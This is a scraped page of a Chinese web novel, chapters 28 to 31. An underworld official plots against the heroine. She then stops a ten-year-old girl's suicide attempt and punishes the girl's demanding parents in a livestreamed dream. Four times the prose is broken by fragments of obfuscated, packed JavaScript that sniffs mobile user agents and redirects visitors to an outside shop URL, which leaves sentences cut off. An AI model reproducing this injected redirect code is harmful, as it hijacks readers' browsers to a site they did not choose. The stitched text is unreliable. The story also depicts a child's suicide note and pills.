p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133886|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判,下官有个想法。” 所有人的目光转向他。 鬼曹捋了捋长须,慢条斯理道:“林正文此次行事,虽鲁莽,却未必是坏事。诸位想想——拐子村,在阳间都是难解之事。” 他指向那些女鬼:“而这些女子,在枉死城煎熬数十年,怨气日深,已成隐患。如今她们大仇得报,怨气自消,不日即可重入轮回。” “你是说……”崔判眯起眼。 “下官是说,林正文此举,虽不合规矩,却歪打正着,解决了我等地府多年未决的难题。”鬼曹微微一笑,“此女虽冲动,却颇有……实干之才。” 这话一出,几位官员的表情都变得微妙起来。 魏判深深看了鬼曹一眼。 这老狐狸,见风使舵的本事倒是炉火纯青。之前反对林正文最激烈的就有他,现在眼看事不可为,立刻调转话头。 可他说得没错。 林正文这次,确实解决了一个麻烦。 上百名厉鬼,就算在地府也不是个小数目,说“姐妹帮”是地府最让人头疼的团体之一,也不为过。 那些女鬼的怨气散了,拐子村的罪恶断了,阳间少了个毒瘤,地府少了批冤魂。 从结果看,竟是多方得益。 除了……他们这些想借题发挥的人。 崔判沉默了许久,还是不愿放弃这么大的把柄。 但最后也只能挥挥手:“将这些女鬼押回枉死城,好生看管。至于拐子村之事……既然亡魂已散,便暂且搁置。” 对林正文的审判,则轻飘飘略过。 几位坚持要严惩的人脸色难看,尤其是陆判。但看看崔判,看看魏判,再看看钟判,最终没再说话。 他们知道,这次……又让她逃过去了。 …… 等殿里只剩下十位官员,他们越想越憋屈。 “难道就这么算了?”天曹终于忍不住,声音带着怒气,“她这次敢血洗一村,若不加以惩戒,地府威严何在?” “惩戒?”崔判冷冷看他,“怎么惩戒?拿什么惩戒?亡魂呢?证据呢?” 天曹语塞。 “此事到此为止。”崔判站起身,“不过……此女确实不能再放任了。” 他看向其他几人:“下次,找个稳妥的法子。要让她犯错,犯无可辩驳的大错。” 众人点头。 就在这时,一直没说话的人曹忽然开口:“崔判,下官想起一事——林正文的实力,似乎提升得有些……过快了。” 他顿了顿,压低声音:“上次见她,不过中级鬼差。这才几天?已经是高级鬼差了!” 殿内气温骤降。 这是什么概念?普通无常苦修数十年,也不过中级鬼差。 不算职位加成,他们的实力只与鬼将等同,那也是用千年修炼,加上生前功德才能到此地步。 而林正文,死了才几个月。 “十世善人……”地曹喃喃道,“难道真有如此气运?” “放任不管,此女必成心腹大患。”天曹眼中寒光闪烁,“此事,不能就这么算了。” 若真如此,那他们之前的种种谋划,岂不都成了笑话? “还有一个办法。”崔判忽然开口,声音冰冷,“去找卞城王。” 卞城王,第六殿阎罗,主管枉死城。 最重要的是,十殿阎罗可以复原生死簿中消失的记录,就算已经魂飞魄散的亡魂,也能推算一二。 28. 第 28 章 “卞城王因为吴暮雨之事,对林正文早有不满。”崔判眼中闪过算计,“若他知道林正文又惹出这么大乱子,说不定……” “可卞城王正在闭关。”地曹提醒。 “那就等他出关。”崔判缓缓坐下,手指无意识地敲着案面,“在此期间,我们按兵不动。让那丫头再得意几天。” 他抬眼,看向殿外漆黑的夜空: “等她以为自己安全了,放松警惕了……我们再给她致命一击。” 其余几人这才面色和缓,冷冷一笑,仿佛已经看到不久后林正文跪地求饶的景象了。 而远在阳间的林正文,对此一无所知。 她正坐在自家楼顶,看着城市璀璨的灯火,手里捏着水蜜桃,啃得毫无形象。 “怎么还不来?地府效率这么慢?” 林正文在自家楼顶坐了整整一天。 从清晨到日暮,她盯着天空,等着地府的铁链突然破空而来——判官殿那帮老家伙,怎么可能轻易放过拐子村那么大的把柄? 可直到夜幕低垂,繁星初现,什么也没发生。 就像一拳打在棉花上,和防备空气的踩空感,反而让人焦灼起来。 “不对劲……”她喃喃自语,手指无意识地敲着膝盖。按照地府那帮人的作风,这时候应该已经派鬼兵来拿人了才对。 就连到时候一决生死的姿势,她都想好了,现在却什么都没发生? 而且她总觉得自己好像忘了什么事? 就在这时,林正文脑子里“嗡”地一声。 范七! 她猛地站起来——昨天把范七关进梦境深处,后来忙着处理拐子村的事,再后来等着地府来抓人,居然把这茬给忘了! 林正文脸色一变,鬼气运转,瞬间感应到那个被自己临时构筑的梦境牢笼。 她心念一动,梦境破碎。 下一秒,一道黑影从虚空中踉跄跌出。 范七落在楼顶天台,黑无常的官袍略显凌乱,高帽歪斜。他站稳身形,抬头看向林正文,那双死气沉沉的眼睛里第一次燃起了实质性的怒火。 “林、正、文。”他一字一顿,每个字都像从牙缝里挤出来的,“你竟敢囚禁地府无常——” 话音未落,范七突然顿住。 他猛地转头,目光锐利地投向脚下居民楼的某一层。那股熟悉的、属于将死之人的死气,正从那里幽幽飘散出来。 “有人要死了。”范七脸色一沉。 他瞥了林正文一眼,语气冷硬:“此事与你无关,莫要再插手。生死有命,阴阳有序。” 最后强调一句:“不管那人因何而死,都是命数。” 说完就要往楼下飘。 “等等。”林正文拦住他,“如果是寿终正寝,我不管。但如果能救——” “救什么?”范七打断她,声音里带着压抑的怒意,“林游神,你还没闹够?拐子村的事还没完,你又想干预生死轮回?” “我只是不想看着能活的人死。”林正文盯着他。 范七还想说什么,但林正文已经动了。 她比范七更快,整个人化作一道黑色流光,直射死气传来的那扇窗户。 范七脸色一变,紧随其后。 两人前一后落在三楼窗外。 透过窗帘缝隙,能看到屋里亮着台灯。书桌前坐着一个小女孩,看上去不过十岁左右,好像正在低头写作业。 可现在是凌晨两点! 林正文瞳孔一缩:“是郑家那孩子……郑燕然。” 以前在电梯里遇见过,总是背着个大书包,低着头声音细细地叫“姐姐好”。 “她今年才十岁。”林正文声音发紧。 “十岁也好,百岁也罢,命数到了就是到了。”范七浑身紧绷,进入预备战斗状态,“林游神,我最后警告你一次——让开!” 林正文没让。 她太了解范七了。 这古板无常恪守规矩,如果他在现场,必然要牵扯自己到孩子断气。 现在可是一分一秒都等不得! “对不住了,范大人。”林正文忽然咧嘴一笑,“你再睡会儿。” 范七本能地想甩出勾魂锁,却突然脸色一变——这才想起,那晚被缴械之后,林正文根本没还给他! 林正文抬手一点,磅礴鬼气化作无形牢笼,瞬间将范七裹住。这次她有了经验,牢笼构筑得更加精妙。 范七瞪大眼睛,眼睁睁看着自己被拖入黑暗。在彻底失去意识前,他嘴唇动了动,似乎想说“你别乱来”——但已经发不出声音了。 林正文松了口气,这才转身穿墙而入。 …… 房间很小,也很拥挤。书桌上、床底下、墙角地面……到处都堆满了教辅书和各种用过的笔记本——很难想象这是小学高年级学生的房间。 郑燕然坐在书桌前,台灯的光照在她苍白的脸上。眼泪无声地往下掉,滴在纸上晕开墨迹。 林正文飘到她身后,看向那张纸,这才发现那不是什么作业,而是——遗书! 【妈妈,爸爸: 我太累了。 英语单词今天抄了三百遍,还是错了一个。又要加一百遍。 我算过了,就算我不睡觉也抄不完。 对不起,我真的撑不住了,活着好辛苦。 求求你们,不要救我,我只想安心的睡一觉。】 字迹一笔一划,异常端正,可见是下了决心。 看得林正文心里一揪。 她视线扫向书桌——摊开的英语练习册上,密密麻麻写满了单词。 旁边还有厚厚一沓纸,每张都写满了一行行“abandon”“abandon”“abandon”……从最初的整整齐齐,到后几页的歪歪扭扭,显然手已经抖得握不住笔了。 桌角放着一旁全新,刚开封的降压药。 郑燕然写完最后一个字,放下笔,伸手去拿药瓶。指关节都酸胀了,还在发抖。 “这就放弃啦?”一个带笑的声音突然在房间里响起。 郑燕然吓得一哆嗦,药瓶“啪”地掉在桌上,药片撒了一地。她猛地转头,看见一个半透明的人影飘在身后——黑衣劲装,利落马尾,正歪着头看她。 “你……你是……”郑燕然瞪大眼睛,往后退了退,但眼里除了惊恐,还有一丝好奇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142142|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “楼上那个死了的姐姐,你见过我的,还记得吗?”林正文咧嘴一笑,干脆盘腿飘在半空,“叫声林姐姐来听听。” 郑燕然点点头,声音很小:“林姐姐,听同学说……说你现在是游神。” “对咯。”林正文飘近些,看了眼地上的药片,又看看桌上那封遗书,“所以你这是……想找我走后门,提前报个到?” 这话说得轻松,郑燕然怔愣,突然感觉心里紧绷的弦好像松了一下。 她心头一酸,莫名觉得在这位对自己没有指责、没有谩骂的姐姐面前,有些东西不吐不快。 她咬着嘴唇,小声说:“我……我只是太累了。姐姐,死了是不是……就不累了?” 林正文心里一叹。 她飘到书桌前,伸手翻了翻桌上散落的纸张:“让我猜猜,作业写不完?爸妈要求太高?” 郑燕然点头,眼泪又涌出来:“英语测验错了三个单词,老师让抄十遍。妈妈说我不用心,要抄一百遍……三百个单词,我抄到十二点,还是错了一个。” 她指着练习册上被红笔圈出来的那个单词:“这个……‘environment’,我总把‘n’和‘m’写反。抄了一百遍,还是写错了。” “妈妈说,睡觉之前要写完,明早起来检查。” 林正文看着那孩子通红的眼睛、颤抖的手,还有桌上堆积如山的练习册——语文、数学、英语、奥数、钢琴谱…… 她忽然笑了。 不是开心的笑,是那种“我懂了”的笑。 “燕然啊,”林正文双脚落地,一步步跳到她面前,眼睛弯起来,“姐姐问你个问题——你觉得自己死了,就能解脱了?” 郑燕然犹豫了下,点头:“看过你直播的同学说……人死了就去另一个世界。我想,那个世界……可能没有作业。” “错了。”林正文竖起一根手指,“地府也有作业——鬼魂要背《地府律例》,要学《轮回守则》,背错了也要抄,抄一千遍。” 郑燕然惊讶地张大嘴。 “而且啊,”林正文继续忽悠,“地府的笔特别重,比你们学校的钢笔重十倍。纸呢,是阴间特产的‘哭丧纸’,写上去字迹会自动消失,你得一遍遍重写。” 她看着小姑娘逐渐呆滞的表情,心里暗笑,面上却一本正经:“所以你看,死了更惨。还不如活着呢——活着至少笔是轻的,纸是正常的。” 郑燕然被绕晕了,好半天才小声说:“可是……可是活着太累了……” “那就让不累的人替你累呗。”林正文眨眨眼。 “啊?” 林正文飘到房门口,指了指隔壁主卧:“你爸妈睡着了吧?” 郑燕然点头。 “抄一百遍?让你自己在这吵,他们去睡大头觉,感情他们也知道明天得上班啊。”林正文回头,笑容里带着点狡黠,“姐姐这就让你爸妈也体验体验,什么叫‘抄单词抄到天亮、抄不对重写’。” 郑燕然倒吸一口气:“真的吗?” 她自己还没意识到,说话的语气有多期待。 林正文挑眉一笑。郑燕然还没反应过来,紧接着就眼前一黑。 29. 第 29 章 林正文穿墙飘到郑家夫妇床前,定定地看了他们一会儿。 床上的夫妻俩睡得香甜,丈夫鼾声如雷,妻子迷迷糊糊的挥手推了他一下,含糊道:“吵死了,明天还得上班……” 林正文怪笑一下,双手结印,鬼气丝滑地渗入两人眉心,比预想的还要顺畅。 她觉得奇怪,打开系统界面瞥了一眼,随即愣住。 【当前鬼气值:88】 “什么时候涨的?”她眨眨眼,随即咧嘴一笑,“管他呢,好事!” 鬼气充沛的感觉让她信心倍增。 但她这次不打算用梦魇符——功德余额早就清零了。况且对付这对父母,她有个更“温和”的主意。 “对了,”林正文眼珠一转,“功德花光了,香火还得继续赚啊!” 她心念一动,系统直播界面开启。 …… 凌晨两点十七分。 无数夜猫子的手机突然弹出提示:【您关注的主播“地府游神”已开播】 短短三分钟,在线人数突破五万,弹幕如潮水般涌来。 市公安局值班室,白安冉刚泡好咖啡,手机就响了。她扫了一眼直播标题——《父母皆祸害:今夜带你体验什么叫“作业写不完”》,眉头皱起,立刻拨通郑砚安电话。 “砚安,正文又开播了,内容有点……怪。” 画面里,林正文飘在床边,对着镜头咧嘴一笑:“晚上好啊各位老铁,深夜福利来了!今天不抓鬼、不办案,带大家看个真人秀——” 她侧身,让出床上睡得正沉的郑家夫妇:“主题是‘假如你爹妈也得写作业’。” 林正文瞥了一眼半透明的直播界面,嘴角勾起一抹坏笑。 背景肉眼可见的速度开始变换——卧室扭曲变形,墙壁拉伸,床消失,桌椅凭空出现,光线越来越刺眼——转眼间变成了一间宽敞明亮的小学教室。 她自己的形象也变了,黑色劲装化作一身板正的教师制服,鼻梁上凭空出现金丝眼镜。 林正文昂首挺胸,得意掂了掂手里的教鞭,一本正经地清了清嗓子。 “各位夜猫子老铁,晚上好啊!”林正文对着虚空中的镜头咧嘴一笑,“欢迎来到‘林老师特别辅导班’!” 弹幕开始滚动: 【游神大人换风格了?】 【这教室背景……特效拉满啊】 【看这标题就知道不是个正经直播间。】 【前面那俩是谁?看着起码三四十,穿着校服?】 【凌晨两点,在梦里开辅导班?不要啊!还嫌白天学的不够?】 “今天咱们班来了两位新同学。”她走到讲台前,指了指坐在第一排的郑家夫妇,“郑峰同学,李慧娟同学。欢迎欢迎!” 说着,教鞭“啪”地敲在黑板上,声音清脆响亮,宛如直接敲击人的耳膜。 郑峰被声音震得打了个激灵。 他发现自己穿着小学生的校服,坐在矮小的课桌前,手脚都伸展不开。旁边的李慧娟也是同样打扮,正惊恐地看着四周。 “我……我怎么在这儿?”郑峰想站起来,却发现身体被无形的力量按在椅子上。 “上课期间,禁止随意走动。”林正文用教鞭点了点他的桌子,“郑同学,请坐好。今天我们复习英语单词。” 她转身在黑板上写下三个单词:abandon,environment,responsibility。 “这三个单词,每人抄写一百遍。”林正文语气温和,甚至带着笑意,“要求:字迹工整,字母规范,不得有涂改。抄错一个字母——重写一百遍。” 李慧娟瞪大了眼睛:“一百遍?!这得抄到什么时候——” “李同学,上课不许喧哗。” 教鞭“嗖”的一下,在空中发出爆响。 明明没有打在身上,李慧娟却过电了似的浑身一僵,表情惊恐万分。 林正文直起身,拍了拍手:“好了,开始吧。” “计时两小时。抄不完的话……”她拖长声音,轻飘飘道,“重写。” 教鞭“啪”地抽在郑峰的桌角,吓得他一哆嗦,赶紧拿起笔。 直播弹幕已经笑疯了: 【我靠这什么鬼?】 【游神大人当老师了??】 【那俩家长吧?看着像。】 【抄单词一百遍……梦回校园噩梦】 郑峰眼睛一转,转头安慰妻子:“好汉不吃眼前亏,咱们又不是小孩,几个单词而已,几秒钟就能写一遍,很快就能完事了。” 说完,他就拿笔开始写。 第一个单词“abandon”,他写得还算顺利,板板正正,一笔一划,这时候他还有空欣赏自己的书面。 但写到第十遍时,就开始不对劲,他越来越烦躁,不停地咽口水。 写到第二十遍,不自觉的开始手速提升,甚至下意识写出连笔。 写到第三十遍,“abandon”里的“d”写成了“cl”。 “郑同学。”林正文的声音在他耳边响起,“错了,重来。” 郑峰看着眼前密密麻麻的单词,脑子“嗡”地一声:“我……我都写了这么多遍!” “抱歉,我说错了,”林正文诚恳道歉,“是加一百遍,你现在要写一百七十遍abandon,中间写错了,就继续加!” 她教鞭一甩:“还不快写!明天还得上班呢,今晚还想不想睡觉了?” 郑峰张了张嘴,想说什么,但看到林正文那双似笑非笑的眼睛,又把话咽了回去。他咬牙,抓起笔重新开始写。 旁边的李慧娟更惨。 她写到“environment”时,总把“n”和“m”写反。写到第十五遍时,她就崩溃了。 “这个单词太难了!我记不住!”李慧娟把笔一摔,“我不写了!” 林正文慢慢踱到她身边,俯身捡起笔,强硬地塞到她手里。 “李同学,‘难’不是借口。”她声音很轻,却带着不容置疑的力度,“十岁的孩子都能记住,你为什么记不住?” 李慧娟脸色煞白。 “所以,”林正文直起身,“继续。写错一次,加一百遍。” “这是你定的规矩,你一定也能做到的,对吧?” 教鞭“啪”地敲在桌面,差点打到李慧娟手背上。吓得她连忙攥着笔往后一缩,颤抖着手,重新开始写。 她写得很慢,怕写错,只好一笔一划的写,每一笔都用力过度,手指关节泛白。 写到第二十五遍时,眼泪掉下来了——就连她自己都不知道是因为委屈还是累。 眼睛花了,手抖了,脑子里一团浆糊…… 弹幕开始变化: 【等等……这不对劲。】 【我好像明白了……】 观看人数突破十万。 林正文看了眼直播数据,满意地点点头。 她走到教室中央,清了清嗓子:“各位观众,看他们写作业挺无聊吧?来,游神小林给大家唱首歌,放松一下。” 她顿了顿,忽然咧嘴一笑:“知道你们都爱听人唱歌,今天我也献丑一首。” “大家有钱的捧个钱场,没钱的捧个人场啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145709|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >弹幕瞬间刷屏: 【游神大人要唱歌???】 【兄弟姐妹们,都别睡了,起来嗨!】 【打赏走起!】 林正文调整了一下站姿,手中的教鞭轻轻敲着节拍。 她声音洪亮,开口却让屏幕前的人忍不住一乐: “毛驴儿拉磨啊,它走不出那个圈。” 背景音是郑家夫妇“沙沙”的写字声,和偶尔压抑的抽泣。 “爹妈卷娃呀,困在虚荣那道关。” 林正文踱步到郑峰身边,教鞭点在他颤抖的手腕旁边。郑峰一个激灵,字又写歪了。 “鞭子扬得高啊,只盯着眼前。” 她转身,看向李慧娟。 李慧娟死死盯着单词,眼睛通红,嘴唇咬得发白。 “却不见娃儿的心啊,早就走到了,悬崖边……” 最后三个字,林正文唱得很轻,几乎像叹息。 歌声停了。 教室里的“沙沙”声也停了。 郑峰和李慧娟同时抬头,看着林正文。 他们眼里有疲惫、有愤怒、有不解,但更多的是……一种逐渐清晰的恐惧。 林正文收起笑容,看着镜头:“各位家长,各位观众。你们猜,这对父母现在抄了多少遍?” 她走到郑峰的桌前,拿起一沓稿纸:“郑同学,六十七遍。错了七次,所以实际得抄……我算算,一千遍?” 又拿起李慧娟的:“李同学,五十二遍。错了十二次,一千五百遍。” 她把稿纸摔在课桌上,纸张散落一地。 “这才一个小时。”林正文声音平静,“你们女儿,今年十岁,手还没你们一半大。她每天要抄多少遍!” “啪!”教鞭使劲往桌上一抽,“给我继续写!写不完不准睡觉!” 郑峰嘴唇动了动:“我们……我们是为她好……” “为她好?”林正文笑了,笑声里带着刺,“为她好,就让她凌晨两点还在抄单词?行,那我现在也为你们好,为了避免你们后半生孤苦,继续抄吧。” 最后那句话,像一记重锤,砸在两人心上。 李慧娟猛地站起来,又被压回去:“你说什么?什么‘后半生孤苦’?” 林正文偏不告诉他们:“写啊,全部写完,我就告诉你们。” 夫妻俩对视一眼,心中都有种不祥的预感,那一刻之前所有的烦躁和不满统统消失了。 他们咬紧牙根,同时抓起笔,一笔一划地写起来。 写到五百遍的时候他们终于忍不住了,抱着对方崩溃地哭了一场,忏悔自己对燕然要求太高。 林正文冷眼旁观,丝毫不为所动,教鞭点了点桌面,示意他们继续抄。 …… 手酸了,就放下笔活动活动,继续写! 眼花了,就揉揉眼睛,闭上缓解几秒,继续写! 急得连笔了,就给自己一个耳光,冷静一下,继续写! 直到他们实打实的写满一千多遍,感觉好像过一天一夜似的,手都不是自己的了。 脑子除了那三个单词一片空白,就连自己是谁都快忘了。 “林游神……你……能不能告诉我?是不是……燕然,出了什么事?” 李慧娟脸色惨白,虚弱地撑着桌子站起身。这次林正文没有再压着她。蜷缩一整夜的关节猛一伸开,钻心的痛让她直接软倒在地。 郑峰也疼得脸色扭曲,强撑着把妻子扶起来,恳求地看着眼前的人。 林正文没有说话,而是用教鞭指了指墙壁。 那里不知何时竟然开启了一扇门。 30. 第 30 章 另一个影院一样的房间里,燕然正坐在超大豪华按摩椅上看着屏幕上直播的画面,眼睛越来越亮。 不光如此,她还能看见弹幕: 【哭了……】 【原来游神大人是在救孩子】 【那父母真不是东西】 【要求孩子的时候,先想想自己能不能做到!】 【张嘴就是一百遍两百遍,多轻松啊,知道这意味着什么嘛?】 【如果当父母也要考证,就该让你们先尝尝写一百遍的感觉!】 她看见父母在教室里崩溃,看见他们抄单词抄到手抖,看见他们被教鞭逼着重复一遍又一遍。 原来,他们也会累。 原来,他们也不是万能的。 原来,那些“别人都能做到,你为什么做不到”的东西,其实他们自己也做不到。 这个认知,像一道光,劈开了燕然心里厚重的阴霾。 她一直以为是自己没用,是自己笨,是自己不如别的孩子。所以才会被逼着不停地抄、不停地写,因为“你需要更努力才能赶上别人”。 可现在她看见了:那些作业,本来就是不合理的。那些要求,本来就很荒谬。 错的人不是她。 可是看着父母难受的样子,燕然又觉得不忍了。 她试着对面前的空气开口:“姐姐,他们好像知道错了。” 林正文不知何时出现在旁边的按摩椅上,转头看她,眼神温和下来:“光知道错没用,得让他们刻烟吸肺,一辈子都忘不了,他们才不会再犯。” “鸡娃有什么用,有本事卷自己啊!” 燕然被她逗得抿嘴一笑,安心靠回去,继续看“父母受难记”。 …… 夫妻俩刚推开墙上的门,就感觉眼前一暗。 空间逆转,视角从站立变成了仰躺。 两人一脸茫然的坐起身,对视一眼后脸色倏地一变。 门“砰”一声被推开时,郑峰和李慧娟几乎是扑进女儿房间的。 两人脸上还残留着梦境里抄单词抄到脑子一片空白的麻木,但很快就被一种更深刻的恐惧取代—— 因为他们冲进房间,第一眼就看见女儿趴在书桌上,一动不动。 桌上放着一瓶开封的药。 “燕然——!!!” 李慧娟的尖叫破了音,郑峰也腿一软,顺着门框滑倒在地,他脸色惨白如纸,嘴巴颤抖着说不出话来。 郑燕然被这声尖叫惊醒,迷迷糊糊抬起头:“妈……爸?” 她眼睛还肿着,脸上有趴睡压出的红印。看到父母一副天塌了的表情,她愣了愣,随即意识到什么,视线落向桌角的药瓶。 “我——”郑燕然张了张嘴,话卡在喉咙里。 李慧娟踉跄扑到女儿面前,一把将人搂进怀里。力道大得郑燕然肋骨生疼,但她没挣扎——母亲的身体在发抖,就连说话都带着颤音。 “没事……咱们马上就去医院……”李慧娟语无伦次,手胡乱地上下抚摸,“来得及的,一定来得及的……妈错了,妈再也不逼你了……” 郑峰站在母女身后,这个平时严肃刻板的男人,此刻佝偻着背,手扶着门框才勉强站稳。他看着妻女,眼眶红得吓人,喉咙里发出压抑的哽咽。 拿着手机已经播出“120”了。 郑燕然被母亲抱得太紧,她用了些力气,才抽出一只手,轻轻拍了拍母亲的背:“妈,我没吃药。” 李慧娟身体一僵,松开手,捧着女儿的脸仔细看:“真的?” “真的。”郑燕然点头,“我本来想……但楼上的林姐姐阻止了我。” 【喂?喂?能听到……】 电话中传来的询问声惊醒了喜出望外的男人,郑峰连连道歉。 “就是楼上那个死后成为游神的林姐姐。”郑燕然小声说,“她让我看了一场……直播。” 夫妻俩同时愣住。 梦境里的画面瞬间涌回脑海,刚才一直被三个单词充斥的脑子,这才开始正常运转。 李慧娟腿一软,瘫坐在地上,郑峰蹲下身扶她。夫妻俩对视一眼,都从对方眼里看到了后怕、羞愧。 “燕然。”郑峰开口,声音沙哑,“爸爸……对不起你。” 他说完就别过脸,不敢看女儿的眼睛。 郑燕然鼻子一酸。 她从来没见过父亲这个样子,像个做错事的孩子,连看她的勇气都没有。 “爸,妈……”她轻声说,“我也不该……不该想不开。” 之前她以为自己真的想好了,想好舍弃一切,甚至幻想过用自己的死让父母后悔。 可事实证明,想一百遍,不如亲眼看一遍。 想到这,女孩的眼眶也酸了。 一家三口在凌晨三点的卧室里,抱成一团痛哭。哭声里有委屈、有恐惧、有悔恨,但更多的是劫后余生的庆幸。 …… 天快亮时,郑燕然肿着眼睛起床,像往常一样收拾书包。她拉开门,却看见父母站在客厅,脚边放着两个行李箱。 “爸?妈?你们这是——”要出差? “我和你妈都请假了。”郑峰拎起箱子,语气是从未有过的轻松,“咱们一家三口,出去走走。” 李慧娟走过来,摸了摸女儿还有些乱的头发:“去海边,你不是一直说想看海吗?” 郑燕然愣住了。 “学校那边……”她下意识说。 “学校重要还是你重要?”李慧娟打断她,语气坚决,“我们想明白了,什么都没有你的快乐重要。” 这话说得太直白,三人都沉默了一瞬。 郑峰把一个小行李箱推过来:“快去收拾东西,带些穿的用的就行,一本书都别装,留些空间路上买零食。” 郑燕然看着父母,眼神怀疑。 这还是他们吗?自己不会来到平行世界了吧? 以前就算感冒发烧,在医院打点滴也得带本书,去游乐园玩,回来还得写观后感……现在竟然说,一本书都不用带? 可他们眼下的乌青,和他们强打精神却忐忑看着自己的样子,告诉燕然,这就是自己的世界。 想到这,她突然鼻子一酸,重重点头。 “嗯!” 门关上的那一刻,客厅窗台上的绿萝叶子突然被风带着,轻轻晃了晃。 …… 林正文飘在半空,看着那一家三口上车、驶远,咧嘴笑了。 “总算没白忙活。” 她伸了个懒腰,魂体在城市上空舒展,顺手打开系统界面。 昨晚那场直播,效果比她预想的还好。 【当前香火值:5385】 【当前功德值:0】 【当前鬼气值:88(高级鬼兵】 “五千多……”林正文眼睛发亮,手指在虚空中快速点划,“留10点功德备用,剩下的凑整换成蕴气丹!” 【消耗5000香火值】 【兑换功德值:50】 【兑换初级蕴气丹×4】 四颗丹药在面前滴溜溜的转。 第一次提升的时候,林正文猝不及防被暴涨的实力差点痛到崩溃。以至于她都有点心有余悸了,前几天如果不是在拐子村急需提升实力应对范七,她还打算一点点来。 但林正文很快就像明白了,变强的感觉让人上瘾,痛而已,很快就过去了。 更何况如今她都将面对地府来捉拿她的鬼兵鬼将,能多一分实力也好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158007|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她张来嘴,丹药自动飘入——熟悉的气流,一入口就迅速扩散,飞速冲向四肢百骸,凶猛的灌输下,就连头发丝都快爆炸了! 事实上也正是如此,林正文整个人都像个充气到极限的气球一样,每一个末梢都鼓胀起来,撑到变大的魂体,却没有浅淡,而是更加凝练…… “卧槽……我后悔了……”她咬紧牙关,魂体不受控制地颤抖。 鬼气值开始疯狂跳动: 89、90、91……95、96、97…… 100! 鬼差的瓶颈在这一刻被冲破。 林正文感觉魂体深处有什么东西“咔嚓”一声碎裂,紧接着是更汹涌的力量奔涌而出。 疼痛也在减轻,如同奔涌的洪流,终于找到分散的渠道。 101、102、103…… 最后停在128。 【当前鬼气值:128(初级鬼兵)】 林正文睁开眼睛,瞳孔深处隐约有暗金色的流光一闪而过。 “初级鬼兵……”她喃喃道,感受着体内前所未有的充盈力量。 上次和范七交手时,她83点鬼气就能碾压对方45点。现在128点……那还不把他压在地上抽! “嘿嘿……”想着想着,她不自觉叉腰笑出声来。 这时,身后传来声响。 林正文回头,看见范七悬在半空,那张万年不变的死人脸上,表情复杂得难以形容。 “范七。”林正文挑眉,“睡醒了?” 刚才注意分散,给范七设的“囚笼”就自动就解封了。 范七见她总算没再阴阳怪气的叫自己“范大人”,心头不觉微松。不然总忍不住防备,感觉她没憋好屁。 他盯着林正文看了几秒,忽然拱手,语气是从未有过的恭敬:“林大人。” 林正文一愣:“你叫我什么?” “地府以实力为尊。”范七声音平稳,听不出情绪,“林大人如今已是鬼兵,按规矩,我该称您一声‘大人’。” 林正文盯着他看了好几秒,突然“噗嗤”笑出声:“得了吧范七,装什么装。我还记着你上次把我吊起来打呢。” 范七脸色一僵。 “不过……”林正文飘到他面前,拍了拍他肩膀,“我林正文不是小气的人。之前的事,一笔勾销——只要你以后别总跟我过不去。” 范七沉默片刻,缓缓点头:“属下明白。” “属下?”林正文挑眉,“你这转变也太快了。” “实力为尊。”范七重复了一遍,顿了顿,又补充道,“况且……郑家那孩子的事,林大人处理得妥当。若换做是我只顺其自然,等着她死后把人送入地府。” “实际上她阳寿未尽,入了地府也会被送进枉死城,无法直接入轮回。您这样做,也算是拨乱反正。” 这话说得诚恳,林正文反倒不好意思了。 她挠挠头:“其实我也没想那么多……” 范七看着她,忽然问:“林大人可知,您昨夜又闯祸了?” 林正文心头一跳:“什么祸?” 范七声音压低:“郑燕然阳寿未尽,您救了她,这没问题。但您用梦境折磨她的父母——此事若被地府知晓,少不得又是一桩罪名。” 林正文撇嘴:“他们活该!” “再说,我不那么做,就算阻止燕然一次,也拦不住她下一次想不开。”事情的根源不在于孩子,而在于父母。 “活该与否,不该由您判定。”范七摇头,“林大人,您这样一次次越界,迟早……” 林正文见他又故态复萌,不耐烦打断:“行了,我自己心里有数,你哪凉快哪儿——” 话没说完,远处一道土黄色的光芒疾驰而来。 31. 第 31 章 来者正是土地婆,她拄着拐杖落下,脸色凝重:“游神大人,范大人——拐子村那边,出事了。” 林正文和范七同时转头。 “警察去了。”土地婆叹了口气,“那些被拐的女人……逃出来了。有人发现她们就报了警,现在整个村子都被封锁了。” “这两天热,尸体都臭了。” 她看了林正文一眼:“警察还在查。她们只说一觉醒来发现看守的人都死了,就趁机逃了。” 林正文轻笑了一声:“挺好,她们解脱了。” 但范七的脸色却更严肃了:“你们到底把拐子村的亡魂怎么了?” 